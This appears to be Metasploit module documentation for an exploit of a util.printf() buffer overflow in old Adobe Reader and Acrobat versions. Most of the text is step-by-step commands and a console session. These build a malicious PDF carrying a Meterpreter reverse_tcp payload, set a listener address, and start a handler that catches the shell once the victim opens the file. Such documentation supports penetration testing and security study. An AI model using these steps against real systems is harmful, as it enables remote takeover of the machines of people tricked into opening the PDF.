Vulnerable Application

This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf() entry, an attacker may be able to execute arbitrary code.

Link to vulnerable software OldVersion

Verification Steps

  1. Install application on the target machine

  2. Start msfconsole

  3. Do: use exploit/windows/fileformat/adobe_utilprintf

  4. Do: set payload [windows/meterpreter/reverse_tcp]

  5. Do: set LHOST [IP]

  6. Do: exploit

  7. Do: use exploit/multi/handler

  8. Do: set LHOST [IP]

  9. Do: exploit

  10. Do: Open PDF on target machine with vulnerable software

Scenarios

Adobe Reader 8.0.0 on Windows XP (5.1 Build 2600, Service Pack 3)

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(windows/fileformat/adobe_utilprintf) > set payload windows/meterpreter/reverse_tcp
  payload => windows/meterpreter/reverse_tcp

  LHOST => 192.168.1.3
msf exploit(windows/fileformat/adobe_utilprintf) > set FILENAME utilprintf.pdf
  FILENAME => utilprintf.pdf
msf exploit(windows/fileformat/adobe_utilprintf) > exploit
